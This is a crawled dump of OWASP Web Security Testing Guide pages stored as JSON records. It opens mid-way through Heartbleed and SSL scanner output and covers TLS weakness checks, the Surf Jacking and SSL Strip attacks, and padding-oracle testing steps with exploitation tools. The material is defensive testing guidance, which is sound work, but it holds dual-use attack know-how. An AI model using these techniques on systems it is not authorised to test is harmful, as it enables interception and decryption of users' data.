00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.\n 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.\n 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............\n 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.\".#.$.%.&.'.\n 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.\n 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.\n 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.\n 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.\n 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.\n 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.\n 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\\.].^._.\n 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.\n 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.\n 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.\n 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...\n 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.\n 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............\n 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........\n 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....\n\n[-] Closing connection\n\n[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/\n[!] Vulnerability Status: VULNERABLE\n\n=====================================\n\nLoading module: CCS Injection script by TripWire VERT ...\n\nChecking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...\n\n[!] The target may allow early CCS on TLSv1.2\n[!] The target may allow early CCS on TLSv1.1\n[!] The target may allow early CCS on TLSv1\n[!] The target may allow early CCS on SSLv3\n\n[-] This is an experimental detection script and does not definitively determine vulnerable server status.\n\n[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/\n[!] Vulnerability Status: Possible\n\n=====================================\n\nChecking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...\n\n[*] HTTP Compression: DISABLED\n[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf\n[*] Vulnerability Status: No\n\n--------------- RAW HTTP RESPONSE ---------------\n\nHTTP/1.1 200 OK\nDate: Wed, 23 Jul 2014 13:48:07 GMT\nServer: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7\nX-Powered-By: PHP/5.4.7\nSet-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure\nSet-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/\nContent-Length: 193\nConnection: close\nContent-Type: text/html\n\n\n\nLogin page \n\n\n\n\n =====================================\n\nChecking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...\n\n[!] STS response header: NOT PRESENT\n[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats\n[!] Vulnerability Status: VULNERABLE\n\n--------------- RAW HTTP RESPONSE ---------------\n\nHTTP/1.1 200 OK\nDate: Wed, 23 Jul 2014 13:48:07 GMT\nServer: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7\nX-Powered-By: PHP/5.4.7\nSet-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure\nSet-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/\nContent-Length: 193\nConnection: close\nContent-Type: text/html\n\n\n\nLogin page \n\n\n\n\n =====================================\n\nChecking localhost for HTTP support against HTTPS Stripping attack ...\n\n[!] HTTP Support on port [80] : SUPPORTED\n[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf\n[!] Vulnerability Status: VULNERABLE\n\n=====================================\n\nChecking localhost:443 for HTTP elements embedded in SSL page ...\n\n[!] HTTP elements embedded in SSL page: PRESENT\n[!] Vulnerable to MITM malicious content injection attack\n[!] Vulnerability Status: VULNERABLE\n\n--------------- HTTP RESOURCES EMBEDDED ---------------\n - http://othersite/test.js\n - http://somesite/test.css\n\n=====================================\n\nChecking localhost:443 for ROBUST use of anti-caching mechanism ...\n\n[!] Cache Control Directives: NOT PRESENT\n[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.\n[!] Vulnerability Status: VULNERABLE\n\n-------------------------------------------------\n\nRobust Solution:\n\n - Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0\n - Ref: https://wiki.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)\n https://docs.microsoft.com/en-us/iis/configuration/system.webserver/staticcontent/clientcache\n\n=====================================\n\nChecking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...\n\n[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES\n[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf\n[!] Vulnerability Status: VULNERABLE\n\n--------------- RAW HTTP RESPONSE ---------------\n\nHTTP/1.1 200 OK\nDate: Wed, 23 Jul 2014 13:48:07 GMT\nServer: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7\nX-Powered-By: PHP/5.4.7\nSet-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure\nSet-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/\nContent-Length: 193\nConnection: close\nContent-Type: text/html\n\n=====================================\n\nChecking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...\n\n[*] Forward Secrecy: SUPPORTED\n[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1\n[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.\n[*] Vulnerability Status: No\n\n=====================================\n\nChecking localhost:443 for RC4 support (CVE-2013-2566) ...\n\n[!] RC4: SUPPORTED\n[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/\n[!] Vulnerability Status: VULNERABLE\n\n=====================================\n\nChecking localhost:443 for TLS 1.1 support ...\n\nChecking localhost:443 for TLS 1.2 support ...\n\n[*] TLS 1.1, TLS 1.2: SUPPORTED\n[*] Immune from BEAST attack mentioned in https://www.infoworld.com/article/2620383/red-alert--https-has-been-hacked.html\n[*] Vulnerability Status: No\n\n=====================================\n\nLoading module: sslyze by iSecPartners ...\n\nChecking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...\n\n[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED\n[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/\n[*] Vulnerability Status: No\n\n[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED\n[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 \n[*] Vulnerability Status: No\n\n=====================================\n\nLoading module: TestSSLServer by Thomas Pornin ...\n\nChecking localhost:443 for SSL version 2 support ...\n\n[*] SSL version 2 : NOT SUPPORTED\n[*] Immune from SSLv2-based MITM attack\n[*] Vulnerability Status: No\n\n=====================================\n\nChecking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...\n\nSupported LANE cipher suites:\n SSLv3\n RSA_EXPORT_WITH_RC4_40_MD5\n RSA_EXPORT_WITH_RC2_CBC_40_MD5\n RSA_EXPORT_WITH_DES40_CBC_SHA\n RSA_WITH_DES_CBC_SHA\n DHE_RSA_EXPORT_WITH_DES40_CBC_SHA\n DHE_RSA_WITH_DES_CBC_SHA\n TLS_ECDH_anon_WITH_RC4_128_SHA\n TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA\n TLS_ECDH_anon_WITH_AES_256_CBC_SHA\n (TLSv1.0: same as above) (TLSv1.1: same as above) (TLSv1.2: same as above) [!] LANE ciphers : SUPPORTED\n[!] Attackers may be ABLE to recover encrypted packets.\n[!] Vulnerability Status: VULNERABLE\n\n=====================================\n\nChecking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...\n\nSupported GCM cipher suites against Lucky13 attack:\n TLSv1.2\n TLS_RSA_WITH_AES_128_GCM_SHA256\n TLS_RSA_WITH_AES_256_GCM_SHA384\n TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\n TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\n TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\n TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\n\n[*] GCM/CCM ciphers : SUPPORTED\n[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html\n[*] Vulnerability Status: No\n\n=====================================\n\nChecking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...\n\n[*] TLS Compression : DISABLED\n[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf\n[*] Vulnerability Status: No\n\n===================================== [+] Breacher finished scanning in 12 seconds.\n[+] Get your latest copy at http://yehg.net/\n```\n\n#### Example 8. Testing O-Saft - OWASP SSL Advanced Forensic Tool\n\n[O-Saft](https://github.com/OWASP/O-Saft) is most comprehensive SSL tests. It supports the following checks:\n\n1. BEAST\n2. BREACH\n3. CRIME\n4. FREAK\n5. HeartBleed\n6. TIME\n7. PFS: Forward Secrecy support\n8. HSTS: Check for implementation of HSTS header\n9. SNI support\n10. Certificate: Host-name mismatch\n11. Certificate expiration\n12. Certificate extension\n13. Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)\n14. SSLv2, SSLv3 support\n15. Weak ciphers check (Low, Anon, Null, Export)\n16. RC4 support\n17. Checks any cipher independent of SSL libriray\n18. supports proxy connections\n19. supported protokols: HTTPS, SMTP, POP3, IMAP, LDAP, RDP, XMPP, IRC\n\n### Testing SSL Certificate Validity – Client and Server\n\nFirstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer.\n\nBy clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.\n\nThese checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual HTTPS service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.\n\n#### Example 1. Testing for Certificate Validity (Manually)\n\nRather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on HTTPS sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company.\n\nWe are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.\n\n*Figure 4.9.1-1: Warning issued by Microsoft Internet Explorer*\n\nThe message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.\n\n*Figure 4.9.1-2: Warning issued by Mozilla Firefox*\n\n### Testing for Other Vulnerabilities\n\nAs mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.\n\n#### Surf Jacking\n\nThe [Surf Jacking attack](https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf) was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.\n\nThe following is a scenario of how the attack can take place:\n\n- Victim logs into the secure website at `https://somesecuresite/` .\n- The secure site issues a session cookie as the client logs in.\n- While logged in, the victim opens a new browser window and goes to `http://examplesite/`\n- An attacker sitting on the same network is able to see the clear text traffic to `http://examplesite` .\n- The attacker sends back a `301 Moved Permanently` in response to the clear text traffic to `http://examplesite` . The response contains the header `Location: http://somesecuresite/` , which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.\n- The victim’s browser starts a new clear text connection to `http://somesecuresite/` and sends an HTTP request containing the cookie in the HTTP header in clear text\n- The attacker sees this traffic and logs the cookie for later use.\n\nTo test if a website is vulnerable carry out the following tests:\n\n1. Check if website supports both HTTP and HTTPS protocols\n2. Check if cookies do not have the `Secure` flag\n\n#### SSL Strip\n\nSome applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.\n\nAn attacker in a privileged position - as described in [SSL strip](https://moxie.org/software/sslstrip/) - can intercept traffic when the user is in the HTTP site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.\n\n### Testing via HTTP Proxy\n\nInside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the [CONNECT method](https://tools.ietf.org/html/rfc2817). Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as [socat](https://linux.die.net/man/1/socat) testers can enable those tools for use with services behind an HTTP proxy.\n\n#### Example 1. Testing via HTTP Proxy\n\nTo connect to `destined.application.lan:443` via proxy `10.13.37.100:3128` run `socat` as follows:\n\n`$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128`\n\nThen the tester can target all other tools to `localhost:9999`:\n\n`$ openssl s_client -connect localhost:9999`\n\nAll connections to `localhost:9999` will be effectively relayed by socat via proxy to `destined.application.lan:443`.\n\n## Configuration Review\n\n### Testing for Weak SSL/TLS Cipher Suites\n\nCheck the configuration of the web servers that provide HTTPS services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.\n\n#### Example 1. Windows Server\n\nCheck the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:\n\n`HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\`\n\nthat has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.\n\n#### Example 2. Apache\n\nTo check the cipher suites and protocols supported by the Apache2 web server, open the `ssl.conf` file and search for the `SSLCipherSuite`, `SSLProtocol`, `SSLHonorCipherOrder`,`SSLInsecureRenegotiation` and `SSLCompression` directives.\n\n### Testing SSL Certificate Validity – Client and Server Review\n\nExamine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 58541, "slov": 8713, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:16", "sha256": "87edc9de05644e25de3b96bd41db97b03e4b94310fdde3b9c47151aa6f782b51", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc8446", "https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf", "https://moxie.org/software/sslstrip/", "https://www.stunnel.org/", "https://github.com/nabla-c0d3/sslyze", "https://www.ietf.org/rfc/rfc6066.txt", "https://www.ssllabs.com/projects/best-practices/index.html", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555", "https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks", "https://www.ssllabs.com/projects/rating-guide/index.html", "https://link.springer.com/chapter/10.1007/11426639_2", "https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what", "https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls", "https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls", "https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy", "https://www.pcisecuritystandards.org/security_standards/documents.php", "https://www.ssllabs.com/projects/ssl-threat-model/index.html", "https://www.ssllabs.com/ssltest/index.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md", "https://code.google.com/p/sslaudit/", "https://sourceforge.net/projects/sslscan/", "https://www.tenable.com/products/nessus", "https://www.openssl.org/", "https://tools.ietf.org/html/rfc2817", "https://linux.die.net/man/1/socat", "https://nmap.org/", "https://www.bolet.org/TestSSLServer/", "https://github.com/drwetter/testssl.sh", "http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html", "https://github.com/OWASP/O-Saft", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/02-Testing_for_Padding_Oracle", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Padding Oracle"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 5, "text": "Example 3"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Padding Oracle\n\n| ID |\n| --- |\n| WSTG-CRYP-02 |\n\n## Summary\n\nA padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.\n\nBlock ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn’t match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.\n\n### Example 1\n\nIf the padding has the length of 5 bytes, the byte value `0x05` is repeated five times after the plain text.\n\nAn error condition is present if the padding doesn’t match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. `BadPaddingException` in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior.\n\nCertain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.\n\nThe padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application.\n\nA padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.\n\n## How to Test\n\n### Black-Box Testing\n\nFirst the possible input points for padding oracles must be identified. Generally the following conditions must be met:\n\n1. The data is encrypted. Good candidates are values which appear to be random.\n2. A block cipher is used. The length of the decoded (Base64 is used often) cipher text is a multiple of common cipher block sizes like 8 or 16 bytes. Different cipher texts (e.g. gathered by different sessions or manipulation of session state) share a common divisor in the length.\n\n#### Example 2\n\n`Dg6W8OiWMIdVokIDH15T/A==` results after Base64 decoding in `0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc`. This seems to be random and 16 byte long.\n\nIf such an input value candidate is identified, the behavior of the application to bit-wise tampering of the encrypted value should be verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext *`p`* and a cipher with a block size *`n`*, the number of blocks will be *`b = ceil( length(b) / n)`*. The length of the encrypted string will be *`y=(b+1)*n`* due to the initialization vector. To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block *`b-1`* (the least significant bit of the byte at *`y-n-1`*), re-encode and send. Next, decode the original string, flip the last bit of the block *`b-2`* (the least significant bit of the byte at *`y-2*n-1`*), re-encode and send.\n\nIf it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).\n\nThe tests and the base value should at least cause three different states while and after decryption:\n\n- Cipher text gets decrypted, resulting data is correct.\n- Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.\n- Cipher text decryption fails due to padding errors.\n\nCompare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.\n\n##### Example 3\n\n- ASP.NET throws `System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed.` if padding of a decrypted cipher text is broken.\n- In Java a `javax.crypto.BadPaddingException` is thrown in this case.\n- Decryption errors or similar can be possible padding oracles.\n\n> A secure implementation will check for integrity and cause only two responses: `ok` and `failed`. There are no side channels which can be used to determine internal error states.\n\n### Gray-Box Testing\n\nVerify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:\n\n1. The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.\n2. All error states while decryption and further processing are handled uniformly.\n\n## Tools\n\n- [Bletchley](https://code.blindspotsecurity.com/trac/bletchley)\n- [PadBuster](https://github.com/GDSSecurity/PadBuster)\n- [Padding Oracle Exploitation Tool (POET)](http://netifera.com/research/)\n- [Poracle](https://github.com/iagox86/Poracle)\n- [python-paddingoracle](https://github.com/mwielgoszewski/python-paddingoracle)\n\n### Example 4\n\n- [Visualization of the decryption process](https://erlend.oftedal.no/blog/poet/)\n\n## References\n\n### Whitepapers\n\n- [Wikepedia - Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)\n- [Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”](https://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6951, "slov": 1093, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:17", "sha256": "b5bf9c31a3f062d2ab0eb9fc226aa78db95222d411b87db6472dd253367c8102", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://code.blindspotsecurity.com/trac/bletchley", "https://github.com/GDSSecurity/PadBuster", "http://netifera.com/research/", "https://github.com/iagox86/Poracle", "https://github.com/mwielgoszewski/python-paddingoracle", "https://erlend.oftedal.no/blog/poet/", "https://en.wikipedia.org/wiki/Padding_oracle_attack", "https://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Sensitive Information Sent via Unencrypted Channels"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example 1: Basic Authentication over HTTP"}, {"uroven": 3, "text": "Example 2: Form-Based Authentication Performed over HTTP"}, {"uroven": 3, "text": "Example 4: Testing Password Sensitive Information in Source Code or Logs"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Testing for Sensitive Information Sent via Unencrypted Channels\n\n| ID |\n| --- |\n| WSTG-CRYP-03 |\n\n## Summary\n\nSensitive data must be protected when it is transmitted through the network. If data is transmitted over HTTPS or encrypted in another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article “[Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection)” and in other OWASP documentation:\n\n- [OWASP Top 10 2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure) .\n- [OWASP ASVS - Verification V9](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md) .\n- [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) .\n\nAs a rule of thumb if data must be protected when it is stored, this data must also be protected during transmission. Some examples for 